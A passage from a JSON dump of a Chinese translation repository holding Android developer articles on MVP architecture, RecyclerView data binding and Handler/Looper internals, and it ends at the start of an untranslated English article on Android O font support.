\"https://github.com/mobiwiseco/Android-Base-Project\")\n\n我写了一个适用于很多开发项目的基础项目（不是library,只是一个指导的project）包括基础Fragment,Activity和Retrofit网络层相关类，工具类和常见**Gradle**文件结构。是时候让更多的类基于MVP模式来开发。\n\n\n### 结论\n\n![](https://cdn-images-1.medium.com/max/800/1*Rt3vsG8LWHB8LPGrhRftAA.gif)\n\n我并不是想推荐给你在Android项目开发中使用的那些libraries，诸如Dagger 2, RxJava等。我只希望一切简单就好，把重点放在项目的结构设计上。\n\n我相信MVP有很多的不同的实现方式，我经常会去学习其他开发者的方式，找出我认为最好的来实践。\n\n重要的一点是我们应该开发一个可以独立于其他libraries、UI层、数据库和网络层的项目。如果你开发的项目基本满足以上，这个项目一定是易于开发，测试和维护的。\n\n\n**Resources**:\n\n1. [http://saulmm.github.io/2015/02/02/A%20useful%20stack%20on%20android%20%231,%20architecture/](http://saulmm.github.io/2015/02/02/A%20useful%20stack%20on%20android%20%231,%20architecture/)\n2. [http://fernandocejas.com/2014/09/03/architecting-android-the-clean-way/](http://fernandocejas.com/2014/09/03/architecting-android-the-clean-way/)\n"
  },
  {
    "path": "TODO/android-data-binding-recyclerview.md",
    "content": "> * 原文地址：[Android Data Binding: RecyclerView](https://medium.com/google-developers/android-data-binding-recyclerview-db7c40d9f0e4#.8vfxpl4zj)\n* 原文作者：[George Mount](https://medium.com/@georgemount007?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jamweak](https://github.com/jamweak)\n* 校对者：[Zhiwei Yu](https://github.com/Zhiw)，[tanglie](https://github.com/tanglie1993)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*NShiWWuJvGcsbywB-O7-Ng.jpeg\">\n\n# Android 数据绑定之: RecyclerView #\n\n## 简化, 复用, 重新绑定 ##\n\n有时我会想，“数据绑定”这个名词并不一定特指 Android 中的数据绑定。RecyclerView 就有它独特的方法将其数据绑定到 UI 控件上。它有一个 [Adapter](https://developer.android.com/reference/android/support/v7/widget/RecyclerView.Adapter.html)，其中需要我们实现两个非常重要的方法来进行数据绑定：\n\n```\nRecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent,\nint viewType);\n\nvoid onBindViewHolder(RecyclerView.ViewHolder holder, int position);\n```\n\nRecyclerView 对外暴露出了常见的 [ViewHolder 模式](https://developer.android.com/training/improving-layouts/smooth-scrolling.html) 作为其 API 中的第一类公民。在 onCreateViewHolder() 方法中，View 被创建之后，其引用就被包含在 ViewHolder 中以便能被快速配置数据。然后在 onBindView() 方法中，特定的数据即和 View 关联起来。\n\n#### RecyclerView 中的 Android 数据绑定####\n\n[前篇文章中](https://medium.com/google-developers/android-data-binding-adding-some-variability-1fe001b3abcc#.1o06zcbx5)指出 , \nAndroid 数据绑定可以被看作 ViewHolder 模式。理论上，我们只需在 onCreateViewHolder() 方法中返回生成的绑定类，但是这个类并没有继承 RecyclerView.ViewHolder 类。因此，这个绑定类必须被 ViewHolder ”**包含**“进去。\n\n```\npublic class MyViewHolder extends RecyclerView.ViewHolder {\n    private final ItemBinding binding;\n\n    public MyViewHolder(ItemBinding binding) {\n        super(binding.getRoot());\n        this.binding = binding;\n    }\n\n    public void bind(Item item) {\n        binding.setItem(item);\n        binding.executePendingBindings();\n    }\n}\n```\n现在，我们的适配器可以使用 Android 数据绑定的方法来创建并绑定数据：\n\n```\npublic MyViewHolder onCreateViewHolder(ViewGroup parent,\n                                       int viewType) {\n    LayoutInflater layoutInflater =\n        LayoutInflater.from(parent.getContext());\n    ItemBinding itemBinding = \n        ItemBinding.inflate(layoutInflater, parent, false);\n    return new MyViewHolder(itemBinding);\n}\n\npublic void onBindViewHolder(MyViewHolder holder, int position) {\n    Item item = getItemForPosition(position);\n    holder.bind(item);\n}\n```\n\n如果你看得够仔细的话，你可能会看到 MyViewHolder.bind() 方法最后有一个 executePendingBindings() 方法。这会强制绑定操作马上执行，而不是推迟到下一帧刷新时。RecyclerView 会在 onBindViewHolder 之后立即测量 View。如果因为绑定推迟到下一帧绘制时导致错误的数据被绑定到 View 中, View 会被不正确地测量，因此这个 executePendingBindings() 方法非常重要！\n\n#### 复用 ViewHolder ####\n\n如果你之前曾经使用过 RecyclerView 的 ViewHolder，你会知道我们已经减少了一大堆关于将数据设置到 View 中的代码。但不幸的是，我们仍不得不为不同的 RecyclerView 写一大堆 ViewHolder。另外，如果你有多种 View 类型，你也不清楚如何拓展它。我们可以修复此问题。\n\n通常来说，只有一个数据被传入到绑定类中，例如上文中的 \"Item\"。当你使用这种模式时，你可以使用类型转换来为各种 RecyclerView 以及各种 View 类型都使用唯一的 ViewHolder。按照惯例我们将单一视图模型对象命名成 \"obj\"。你也许会命名为 \"item\" 或者 \"data\"，但如果我使用 \"obj\"，将很容易在例子中辨别。\n\n```\npublic class MyViewHolder extends RecyclerView.ViewHolder {\n    private final ViewDataBinding binding;\n\n    public MyViewHolder(ViewDataBinding binding) {\n        super(binding.getRoot());\n        this.binding = binding;\n    }\n\n    public void bind(Object obj) {\n        binding.setVariable(BR.obj, obj);\n        binding.executePendingBindings();\n    }\n}\n```\n\n在 MyViewHolder 中，我使用了 ViewDataBinding，它是所有生成的绑定类的基类，代替了特定的 ItemBinding 类。这样之后，我就能在 ViewHolder 中支持各种各样的布局。我还使用了 setVariable() 方法来取代之前的类型安全，但需要指定特定类型的 setObj() 方式，这样我就能随意指定任何我需要的数据类型了。关键的一点是变量必须命名成 \"obj\" 因为我使用 BR.obj 作为 setVariable() 的键值。这意味着你必须在你的布局文件中有一个像这样的变量标签：\n\n```\n<variable name=\"obj\" type=\"Item\"/>\n```\n\n当然，你的变量相比于 \"Item\" ，能使用任何在布局中想要绑定的类型\n \n之后我就能创建一个通用的 RecyclerView 适配器了。\n\n```\npublic abstract class MyBaseAdapter\n                extends RecyclerView.Adapter<MyViewHolder> {\n    public MyViewHolder onCreateViewHolder(ViewGroup parent,\n                                           int viewType) {\n        LayoutInflater layoutInflater =\n                LayoutInflater.from(parent.getContext());\n        ViewDataBinding binding = DataBindingUtil.inflate(\n                layoutInflater, viewType, parent, false);\n        return new MyViewHolder(binding);\n    }\n\n    public void onBindViewHolder(MyViewHolder holder,\n                                 int position) {\n        Object obj = getObjForPosition(position);\n        holder.bind(obj);\n    }\n    \n    @Override\n    public int getItemViewType(int position) {\n        return getLayoutIdForPosition(position);\n    }\n\n    protected abstract Object getObjForPosition(int position);\n\n    protected abstract int getLayoutIdForPosition(int position);\n}\n```\n在这个适配器中，布局的 ID 被用作 view 类型，这样能更方便得来获取正确的绑定类，同时也能让适配器处理任意数量的布局。但最通用的做法是 RecyclerView 只有一个布局，因此我们可以写这样一个基类：\n\n```\npublic abstract class SingleLayoutAdapter extends MyBaseAdapter {\n    private final int layoutId;\n    \n    public SingleLayoutAdapter(int layoutId) {\n        this.layoutId = layoutId;\n    }\n    \n    @Override\n    protected int getLayoutIdForPosition(int position) {\n        return layoutId;\n    }\n}\n```\n\n#### 还剩下什么? ####\n\n所有 RecyclerView 中的模板现在都被处理完了，留给你做的是最困难的部分：在非 UI 线程加载数据，当数据更新时通知适配器等等。Android 数据绑定仅简化了无聊的部分。 \n\n你也可以扩展这个技术来支持多个变量。通常来说需要支持一个事件处理对象来处理例如点击事件等，你也许会想将其传入到视图模型类中。如果你经常在 Activity 或 Fragment 中传值，你可以添加这些变量。只要你使用连贯的命名，你就可以在所有 RecyclerView  中使用这项技术。\n\n使用 Android 数据绑定结合  RecyclerView 是简便的，能显著减少冗长的代码。也许你的应用只需要一个 ViewHolder 并且你再也不需要重写 onCreateViewHolder() 方法和 onBindViewHolder() 了！\n"
  },
  {
    "path": "TODO/android-handler-internals.md",
    "content": "> * 原文地址：[Android Handler Internals](https://medium.com/@jagsaund/android-handler-internals-b5d49eba6977)\n* 原文作者：[Jag Saund](https://medium.com/@jagsaund)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jamweak] (https://github.com/jamweak)\n* 校对者：[Newt0n] (https://github.com/Newt0n), [写代码的猴子] (https://github.com/laobie)\n\n# 探索 Android 大杀器—— Handler\n\n如果你想要让一个 Android 应用程序反应灵敏，那么你必须防止它的 UI 线程被阻塞。同样地，将这些阻塞的或者计算密集型的任务转到工作线程去执行也会提高程序的响应灵敏性。然而，这些任务的执行结果通常需要更新UI组件的显示，但该操作只能在UI线程中去执行。有一些方法解决了 UI 线程的阻塞问题，例如阻塞队列，共享内存以及管道技术。Android 为解决这个问题，提供了一种自有的消息传递机制——[Handler](https://developer.android.com/reference/android/os/Handler.html)。Handler 是 Android Framework 架构中的一个基础组件，它实现了一种非阻塞的消息传递机制，在消息转换的过程中，消息的生产者和消费者都不会阻塞。\n\n虽然 Handler 被使用的频率非常高，它的工作原理却很容易被忽视。本篇文章深入地剖析 Handler 众多内部组件的实现，它将会向您揭示 Handler 的强大之处，而不仅仅作为一个工作线程和 UI 线程通信的工具。\n\n### 图片浏览示例\n\n让我们从一个例子开始了解如何在应用中使用 Handler。设想一个 Activity 需要从网络上获取图片并显示。有几种方式来做这件事，在下面的例子中，我们创建了一个新的工作线程去执行网络请求以获取图片。\n\n```\npublic class ImageFetcherActivity extends AppCompactActivity {\n    class WorkerThread extends Thread {\n        void fetchImage(String url) {\n            // network logic to create and execute request\n            handler.post(new Runnable() {\n                @Override\n                public void run() {\n                    imageView.setImageBitmap(image);\n                }\n            });\n        }\n    }\n    \n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        // prepare the view, maybe setContentView, etc\n        new WorkerThread().fetchImage(imageUrl);\n    }\n}\n```\n\n另一种方法则是使用 Handler Messages 来代替 Runnable 类。\n\n```\npublic class ImageFetcherAltActivity extends AppCompactActivity {\n    class WorkerThread extends Thread {\n        void fetchImage(String url) {\n            handler.sendEmptyMessage(MSG_SHOW_LOADER);\n            // network call to load image\n            handler.obtainMessage(MSG_SHOW_IMAGE, imageBitmap).sendToTarget();\n        }\n    }\n    \n    class UIHandler extends Handler {\n        @Override\n        public void handleMessage(Message msg) {\n            switch (msg.what) {\n                case MSG_SHOW_LOADER: {\n                    progressIndicator.setVisibility(View.VISIBLE);\n                    break;\n                }\n                case MSG_HIDE_LOADER: {\n                    progressIndicator.setVisibility(View.GONE);\n                    break;\n                }\n                case MSG_SHOW_IMAGE: {\n                    progressIndicator.setVisibility(View.GONE);\n                    imageView.setImageBitmap((Bitmap) msg.obj);\n                    break;\n                }\n            }\n        }\n    }\n    \n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        // prepare the view, maybe setContentView, etc\n        new WorkerThread().fetchImage(imageUrl);\n    }\n}\n```\n在第二个例子中，工作线程从网络获取到一张图片，一旦下载完成，我们需用使用下载好的 bitmap 去更新 ImageView 显示内容。我们知道不能在非 UI 线程中更新 UI 组件，因此我们使用 Handler。Handler 扮演了工作线程和 UI 线程的中间人的角色。消息在工作线程中被 Handler 加入队列，随后在 UI 线程中被 Handler 处理。\n\n### 深入了解 Handler\n\nHandler 由以下部分组成:\n\n*   Handler\n*   Message\n*   Message Queue\n*   Looper\n\n我们接下来将学习各个组件以及他们之间的交互。\n\n#### Handler\n\n[Handler[2]](https://developer.android.com/reference/android/os/Handler.html) 是线程间传递消息的即时接口，生产线程和消费线程调用以下操作来使用 Handler：\n\n*   在消息队列中创建、插入或移除消息\n*   在消费线程中处理消息\n\n![](https://cdn-images-1.medium.com/max/2000/1*Xiqug6cw7eXJQpimg5Hnnw.png)\n\nandroid.os.Handler 组件\n\n每个 Handler 都有一个与之关联的 Looper 和消息队列。有两种创建 Handler 的方式：\n\n*   通过默认的构造方法，使用当前线程中关联的 Looper\n*   显式地指定使用的 Looper\n\n没有指定 Looper 的 Handler 是无法工作的，因为它无法将消息放到消息队列中。同样地，它无法获取要处理的消息。\n\n    public Handler(Callback callback, boolean async) {\n        // code removed for simplicity\n        mLooper = Looper.myLooper();\n        if (mLooper == null) {\n            throw new RuntimeException( “Can’t create handler inside thread that has not called Looper.prepare()”);\n        }\n        mQueue = mLooper.mQueue;\n        mCallback = callback;\n        mAsynchronous = async;\n    }\n\n上面的[代码段](https://github.com/android/platform_frameworks_base/blob/master/core/java/android/os/Handler.java#L188)展示了创建一个新的 Handler 的逻辑。Handler 在创建时检查了当前的线程有没有可用的 Looper 对象，如果没有，它会抛出一个运行时的异常。如果正常的话，Handler 则会持有 Looper 中消息队列对象的引用。\n\n**注意:** _同一线程中的多个 Handler 分享一个同样的消息队列，因为他们分享的是同一个 Looper 对象。_\n\nCallback 参数是一个可选参数，如果提供的话，它将会处理由 Looper 分发过来的消息。\n\n#### Message\n\n[Message[3]](https://developer.android.com/reference/android/os/Message.html) 是容纳任意数据的容器。生产线程发送消息给 Handler，Handler 将消息加入到消息队列中。消息提供了三种额外的信息，以供 Handler 和消息队列处理时使用：\n\n*   _what_ ——一种标识符，Handler 能使用它来区分不同消息，从而采取不同的处理方法\n*   _time_ ——告知消息队列何时处理消息\n*   _target_ —— 表示哪一个 Handler 应当处理消息\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*odjf27TxzW3gC7-tbF-bPQ.png)\n\nandroid.os.Message 组件\n\n消息一般是通过 Handler 中以下方法来创建的：\n\n    public final Message obtainMessage()\n    public final Message obtainMessage(int what)\n    public final Message obtainMessage(int what, Object obj)\n    public final Message obtainMessage(int what, int arg1, int arg2)\n    public final Message obtainMessage(int what, int arg1, int arg2, Object obj)\n\n消息从消息池中获取得到，方法中提供的参数会放到消息体的对应字段中。Handler 同样可以设置消息的目标为其自身，这允许我们进行链式调用，比如：\n\n    mHandler.obtainMessage(MSG_SHOW_IMAGE, mBitmap).sendToTarget();\n\n消息池是一个消息体对象的 LinkedList 集合，它的最大长度是 50。在 Handler 处理完这条消息之后，消息队列把这个对象返回到消息池中，并且重置其所有字段。\n\n当使用 Handler 调用 post 方法来执行一个 Runnable 时，Handler 隐式地创建了一个新的消息，并且设置 callback 参数来存储这个 Runnable。\n\n    Message m = Message.obtain();\n    m.callback = r;\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*g3PR2PWaPmD0q5DfAQxpsA.png)\n\n生产线程发送消息给 Handler 的交互\n\n在上图中，我们能看到生产线程和 Handler 的交互。生产者创建了一个消息，并且发送给了 Handler，随后 Handler 将这个消息加入消息队列中，在未来的某个时间，Handler 会在消费线程中处理这个消息。\n\n#### Message Queue\n\n[Message Queue[4]](https://developer.android.com/reference/android/os/MessageQueue.html) 是一个消息体对象的无界的 LinkedList 集合。它按时序将消息插入队列，最小的时间戳将会被首先处理。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ogdWmXRs5md-KmiBnb61eg.png)\n\nandroid.os.MessageQueue 组件\n\n消息队列也通过 SystemClock.uptimeMillis 获取当前时间，维护着一个阻塞阈值(dispatch barrier)。当一个消息体的时间戳低于这个值的时候，消息就会被分发给 Handler 进行处理。\n\nHandler 提供了三种方式来发送消息：\n\n    public final boolean sendMessageDelayed(Message msg, long delayMillis)\n    public final boolean sendMessageAtFrontOfQueue(Message msg)\n    public boolean sendMessageAtTime(Message msg, long uptimeMillis)\n\n以延迟的方式发送消息，是设置了消息体的 _time_ 字段为 _SystemClock.uptimeMillis()_ + _delayMillis_ 。\n\n延迟发送的消息设置了其时间字段为 SystemClock.uptimeMillis() + delayMillis。然而，通过 sendMessageAtFrontOfQueue() 方法把消息插入到队首，会将其时间字段设置为 0，消息会在下一次轮询时被处理。需要谨慎使用这个方法，因为它可能会影响消息队列，造成顺序问题，或是其它不可预料的副作用。\n\nHandler 常与一些 UI 组件相关联，而这些 UI 组件通常持有对 Activity 的引用。Handler 持有的对这些组件的引用可能会导致潜在的 Activity 泄露。考虑如下场景：\n\n```\npublic class MainActivity extends AppCompatActivity {\n    private static final String IMAGE_URL = \"https://www.android.com/static/img/android.png\";\n\n    private static final int MSG_SHOW_PROGRESS = 1;\n    private static final int MSG_SHOW_IMAGE = 2;\n\n    private ProgressBar progressIndicator;\n    private ImageView imageView;\n    private Handler handler;\n\n    class ImageFetcher implements Runnable {\n        final String imageUrl;\n\n        ImageFetcher(String imageUrl) {\n            this.imageUrl = imageUrl;\n        }\n\n        @Override\n        public void run() {\n            handler.obtainMessage(MSG_SHOW_PROGRESS).sendToTarget();\n            InputStream is = null;\n            try {\n                // Download image over the network\n                URL url = new URL(imageUrl);\n                HttpURLConnection conn = (HttpURLConnection) url.openConnection();\n\n                conn.setRequestMethod(\"GET\");\n                conn.setDoInput(true);\n                conn.connect();\n                is = conn.getInputStream();\n\n                // Decode the byte payload into a bitmap\n                final Bitmap bitmap = BitmapFactory.decodeStream(is);\n                handler.obtainMessage(MSG_SHOW_IMAGE, bitmap).sendToTarget();\n            } catch (IOException ignore) {\n            } finally {\n                if (is != null) {\n                    try {\n                        is.close();\n                    } catch (IOException ignore) {\n                    }\n                }\n            }\n        }\n    }\n\n    class UIHandler extends Handler {\n        @Override\n        public void handleMessage(Message msg) {\n            switch (msg.what) {\n                case MSG_SHOW_PROGRESS: {\n                    imageView.setVisibility(View.GONE);\n                    progressIndicator.setVisibility(View.VISIBLE);\n                    break;\n                }\n                case MSG_SHOW_IMAGE: {\n                    progressIndicator.setVisibility(View.GONE);\n                    imageView.setVisibility(View.VISIBLE);\n                    imageView.setImageBitmap((Bitmap) msg.obj);\n                    break;\n                }\n            }\n        }\n    }\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n\n        progressIndicator = (ProgressBar) findViewById(R.id.progress);\n        imageView = (ImageView) findViewById(R.id.image);\n\n        handler = new UIHandler();\n\n        final Thread workerThread = new Thread(new ImageFetcher(IMAGE_URL));\n        workerThread.start();\n    }\n}\n```\n\n在这个例子中，Activity 开启了一个新的工作线程去下载并且在 ImageView 中展示图片。工作线程通过 UIHandler 去通知 UI 更新，这样就会持有了对 View 的引用，以便更新这些 View 的状态（切换可见性、设置图片等）。\n\n让我们假设工作线程由于网络差，需要很长的时间去下载图片。在工作线程下载完成之前销毁这个 Activity 会导致 Activity 泄露。在本例中，有两个强引用关系，一个在工作线程和 UIHandler 之间，另一个在 UIHandler 和 View 之间。这就阻止了垃圾回收机制回收 Activity 的引用。\n\n现在，让我们来看看另一个例子：\n\n```\npublic class MainActivity extends AppCompatActivity {\n    private static final String TAG = \"Ping\";\n\n    private Handler handler;\n\n    class PingHandler extends Handler {\n        @Override\n        public void handleMessage(Message msg) {\n            Log.d(TAG, \"Ping message received\");\n        }\n    }\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        handler = new PingHandler();\n        \n        final Message msg = handler.obtainMessage();\n        handler.sendEmptyMessageDelayed(0, TimeUnit.MINUTES.toMillis(1));\n    }\n}\n```\n\n在这个例子中，将按顺序发生如下事件：\n\n*   PingHandler 被创建\n*   Activity 发送了一个带延迟的消息给 Handler，随后消息加入到消息队列中\n*   Activity 在消息到达之前被销毁\n*   消息被分发，并被 UIHandler 处理，输出一条日志\n\n虽然起初看起来不那么明显，但本例中的 Activity 也存在着泄露。\n\n在销毁 Activity 之后，Handler 应当可以被垃圾回收，然而当创建了一个消息对象之后，它也会持有对 Handler 的引用：\n\n    private boolean enqueueMessage(MessageQueue queue, Message msg, long uptimeMillis) {\n        msg.target = this;\n        if (mAsynchronous) {\n            msg.setAsynchronous(true);\n        }\n        return queue.enqueueMessage(msg, uptimeMillis);\n    }\n\n上面的 Android 代码段表明，所有被发送到 Handler 的消息最终都会触发 enqueueMessage 方法。注意到 Handler 的引用被显式地赋给了 msg.target，以此来告诉 Looper 对象当消息从消息队列出队时，选择哪一个 Handler 来对其进行处理。\n\n消息加入消息队列后，消息队列就获得了对消息的引用。它同样有一个与之关联的 Looper。一个自定义的 Looper 对象的生命周期一直持续到它被结束，然而主线程中的 Looper 对象在程序的生命周期内一直存在。因此，消息中持有的对 Handler 的引用会一直维持到该消息被消息队列回收之前，一旦消息被回收，它内部的各字段，包括目标 target 的引用都会被清空。\n\n虽然 Handler 能存活很长时间，但是当 Activity 发生泄露时，Handler 不会被清空。为了检查是否发生泄露，我们必须检查 Handler 是否在本类范围内持有 Activity 的引用。在本例中，它确实持有：非静态内部类持有一个对其外部类的隐式引用。明确一点来说，PingHandler 没有定义成一个静态类，所以它持有一个隐式的 Activity 引用。\n\n通过结合使用弱引用和静态类修饰符可以阻止 Handler 导致的 Activity 泄露。当 Activity 被销毁时，弱引用允许垃圾回收器去回收你想要留存的对象（通常来说是 Activity）。在 Handler 内部类前加入静态修饰符可以阻止对外部类持有隐式引用。\n\n让我们来修改上例中的 UIHandler 来解决这个烦恼：\n\n```\nstatic class UIHandler extends Handler {\n    private final WeakReference<ImageFetcherActivity> mActivityRef;\n    \n    UIHandler(ImageFetcherActivity activity) {\n        mActivityRef = new WeakReference(activity);\n    }\n    \n    @Override\n    public void handleMessage(Message msg) {\n        final ImageFetcherActivity activity = mActivityRef.get();\n        if (activity == null) {\n            return\n        }\n        \n        switch (msg.what) {\n            case MSG_SHOW_LOADER: {\n                activity.progressIndicator.setVisibility(View.VISIBLE);\n                break;\n            }\n            case MSG_HIDE_LOADER: {\n                activity.progressIndicator.setVisibility(View.GONE);\n                break;\n            }\n            case MSG_SHOW_IMAGE: {\n                activity.progressIndicator.setVisibility(View.GONE);\n                activity.imageView.setImageBitmap((Bitmap) msg.obj);\n                break;\n            }\n        }\n    }\n}\n```\n\n现在，UIHandler 的构造方法中需要传入 Activity，而这个引用会被弱引用包装。这样就允许垃圾回收器在 Activity 销毁时回收这个引用。当与 Activity 中的 UI 组件交互时，我们需要从 mActivityRef 中获得一个 Activity 的强引用。由于我们正在使用一个弱引用，我们必须小心翼翼地去访问 Activity。如果仅仅能通过弱引用的方式去访问 Activity，垃圾回收器也许已经将其回收了，因此我们需要检查回收是否发生。如果确实被回收，Handler 实际上已经与 Activity 无关了，那么这条消息就应该被丢弃。\n\n虽然这个逻辑解决了内存泄露问题，但仍旧存在一个问题。Activity 已经被销毁，但垃圾回收器还没来得及回收引用，依赖于操作系统运行时的状况，这可能会使你的程序导致潜在的崩溃。为解决这个问题，我们需要获取 Activity 当前的状态。\n\n让我们更新 UIHandler 的逻辑来解决如上场景的问题：\n\n```\nstatic class UIHandler extends Handler {\n    private final WeakReference<ImageFetcherActivity> mActivityRef;\n    \n    UIHandler(ImageFetcherActivity activity) {\n        mActivityRef = new WeakReference(activity);\n    }\n    \n    @Override\n    public void handleMessage(Message msg) {\n        final ImageFetcherActivity activity = mActivityRef.get();\n        if (activity == null || activity.isFinishing() || activity.isDestroyed()) {\n            removeCallbacksAndMessages(null);\n            return\n        }\n        \n        switch (msg.what) {\n            case MSG_SHOW_LOADER: {\n                activity.progressIndicator.setVisibility(View.VISIBLE);\n                break;\n            }\n            case MSG_HIDE_LOADER: {\n                activity.progressIndicator.setVisibility(View.GONE);\n                break;\n            }\n            case MSG_SHOW_IMAGE: {\n                activity.progressIndicator.setVisibility(View.GONE);\n                activity.imageView.setImageBitmap((Bitmap) msg.obj);\n                break;\n            }\n        }\n    }\n}\n```\n\n现在，我们可以概括消息队列、Handler、生产线程的交互：\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*_2pw5528rfoTpPBE7l9NmA.png)\n\n消息队列、Handler、生产线程的交互\n\n在上图中，多个生产线程提交消息到不同的 Handler 中。然而，不同的 Handler 都与同一个 Looper 对象关联，因此所有的消息都加入到同一个消息队列中。这一点非常重要，Android 中创建的许多不同 Handler 都关联到主线程的 Looper：\n\n*   _The Choreographer:_ 处理垂直同步与帧更新\n*   _The ViewRoot:_ 处理输入和窗口事件，配置修改等等\n*   _The InputMethodManager:_ 处理键盘触摸事件及其它\n\n**小贴士：确保生产线程不会大量生成消息，因为这可能会抑制处理系统生成消息。**\n\n![](https://cdn-images-1.medium.com/max/2000/1*rvIs3RCqJw1WFwuHwMtgaQ.png)\n\n\n\n主线程 Looper 分发消息的小示例\n\n\n\n**调试帮助：** 你可以通过附加一个 LogPrinter 到 Looper 上来 debug/dump 被 Looper 分发的消息:\n\n    final Looper looper = getMainLooper();\n    looper.setMessageLogging(new LogPrinter(Log.DEBUG, \"Looper\"));\n\n同样地，你可以 debug/dump 所有在消息队列中等待的消息，通过在与消息队列相关联的 Handler 上附加一个 LogPrinter 来实现:\n\n    handler.dump(new LogPrinter(Log.DEBUG, \"Handler\"), \"\");\n\n#### Looper\n\n[Looper[5]](https://developer.android.com/reference/android/os/Looper.html) 从消息队列中读取消息，然后分发给对应的 Handler 处理。一旦消息超过阻塞阈，那么 Looper 就会在下一轮读取过程中读取到它。Looper 在没有消息分发的时候会变为阻塞状态，当有消息可用时会继续轮询。\n\n每个线程只能关联一个 Looper，给线程附加另外的 Looper 会导致运行时的异常。通过使用 Looper 类中的 ThreadLocal 对象可以保证每个线程只关联一个 Looper 对象。\n\n调用 Looper.quit() 方法会立即终止 Looper，并且会丢弃消息队列中已经通过阻塞阈的所有消息。调用 Looper.quitSafely() 方法能够保证所有待分发的消息在列队中等待的消息被丢弃前得到处理。\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*sNJrg-3mVc54jZfVevWoDg.png)\n\n\nHandler 与消息队列和 Looper 直接交互的整体流程\n\n\nLooper 应在线程的 run 方法中初始化。调用静态方法 Looper.prepare() 会检查线程是否与一个已存在的 Looper 关联。这个过程的实现是通过 Looper 类中的 ThreadLocal 对象来检查 Looper 对象是否存在。如果 Looper 不存在，将会创建一个新的 Looper 对象和一个新的消息队列。[Android 代码](https://github.com/android/platform_frameworks_base/blob/e71ecb2c4df15f727f51a0e1b65459f071853e35/core/java/android/os/Looper.java#L83) 中的如下片段展示了这个过程。\n\n**注意：公有的 prepare 方法会默认会调用 prepare(true)。**\n\n    private static void prepare(boolean quitAllowed) {\n        if (sThreadLocal.get() != null) {\n            throw new RuntimeException(“Only one Looper may be created per thread”);\n        }\n        sThreadLocal.set(new Looper(quitAllowed));\n    }\n\nHandler 现在能接收到消息并加入消息队列中，执行静态方法 Looper.loop() 方法会开始将消息从队列中出队。每次轮询迭代器指向下一条消息，接着分发消息到对应目标的 Handler，然后回收消息到消息池中。Looper.loop() 方法会循环执行这个过程，直到 Looper 终止。 [Android 代码](https://github.com/android/platform_frameworks_base/blob/e71ecb2c4df15f727f51a0e1b65459f071853e35/core/java/android/os/Looper.java#L123) 中的如下片段展示了这个过程：\n\n    public static void loop() {\n        if (me == null) {\n            throw new RuntimeException(\"No Looper; Looper.prepare() wasn't called on this thread.\");\n        }\n        final MessageQueue queue = me.mQueue;\n        for (;;) {\n            Message msg = queue.next(); // might block\n            if (msg == null) {\n                // No message indicates that the message queue is quitting.\n                return;\n            }\n            msg.target.dispatchMessage(msg);\n            msg.recycleUnchecked();\n        }\n    }\n\n并没有必要自己去创建关联 Looper 的线程。Android 提供了一个简便的类做这件事——HandlerThread。它继承 Thread 类，并且提供对 Looper 创建的管理。下面的代码描述了它的一般使用过程：\n\n    private final Handler handler;\n    private final HandlerThread handlerThread;\n\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate();\n        handlerThread = new HandlerThread(\"HandlerDemo\");\n        handlerThread.start();\n        handler = new CustomHandler(handlerThread.getLooper());\n    }\n\n    @Override\n    protected void onDestroy() {\n        super.onDestroy();\n        handlerThread.quit();\n    }\n\nonCreate() 方法构造了一个 HandlerThread，当 HandlerThread 启动后，它准备创建 Looper 与它的线程关联，随后 Looper 开始处理 HandlerThread 的消息队列中的消息。\n\n**注意：当 Activity 被销毁时，结束 HandlerThread 是很重要的，这个动作也会终止关联的 Looper。**\n\n#### 总结\n\nAndroid 中的 Handler 在应用的生命周期中扮演着不可缺少的角色。它是构成半同步/半异步模式架构的基础。许多内部和外部的代码都依赖 Handler 去异步地分发事件，它能以最小的代价去维持线程安全。\n\n更深入地理解组件的工作方式能够帮助解决疑难杂症。这也能让我们以最佳的方法使用组件的 API。我们通常将 Handler 作为工作线程和UI线程间的通信机制，但 Handler 并不仅限于此。它出现在 [IntentService[6]](https://developer.android.com/reference/android/app/IntentService.html), 和  [Camera2[7]](https://developer.android.com/reference/android/hardware/camera2/CameraCaptureSession.html) 和许多其它的 API 中。在这些 API 调用中，Handler 更多情形下是被用作任意线程间的通信工具。\n\n在深入理解了 Handler 的原理后，我们能运用其构建更有效率、更简洁、更健壮的应用程序。\n"
  },
  {
    "path": "TODO/android-o-fonts.md",
    "content": "> * 原文地址：[Android O: Fonts – Part 1](https://blog.stylingandroid.com/android-o-fonts/)\n> * 原文作者：[Mark Allison](https://blog.stylingandroid.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# Android O: Fonts – Part 1 #\n\nIn March 2017 Google [announced](https://android-developers.googleblog.com/2017/03/first-preview-of-android-o.html) the first release of the Android O developer preview. In this occasional series, we’ll look at some of the new features being introduced in Android O. In this article we’ll look at something very close to my heart: Better font support.\n\n[![](https://i2.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/android-o-logo.png?resize=150%2C150&amp;ssl=1)](https://i2.wp.com/blog.stylingandroid.com/wp-content/uploads/2017/04/android-o-logo.png?ssl=1)Font support within Android has long been a pain point for many of us. To deviate from the standard system fonts has required the use of third-party libraries (such as Chris Jenkins’ [Calligraphy](https://github.com/chrisjenx/Calligraphy) or Lisa Wray’s [fontbinding](https://github.com/lisawray/fontbinding)), or by having to subclass *TextView* in order to add custom font support. While both Chris & Lisa’s libraries (and any others I may have missed) do an excellent job of enabling the use of custom fonts, it has been a point of frustration that such a fundamental part of UI design and implementation has not been addressed directly within the Android framework 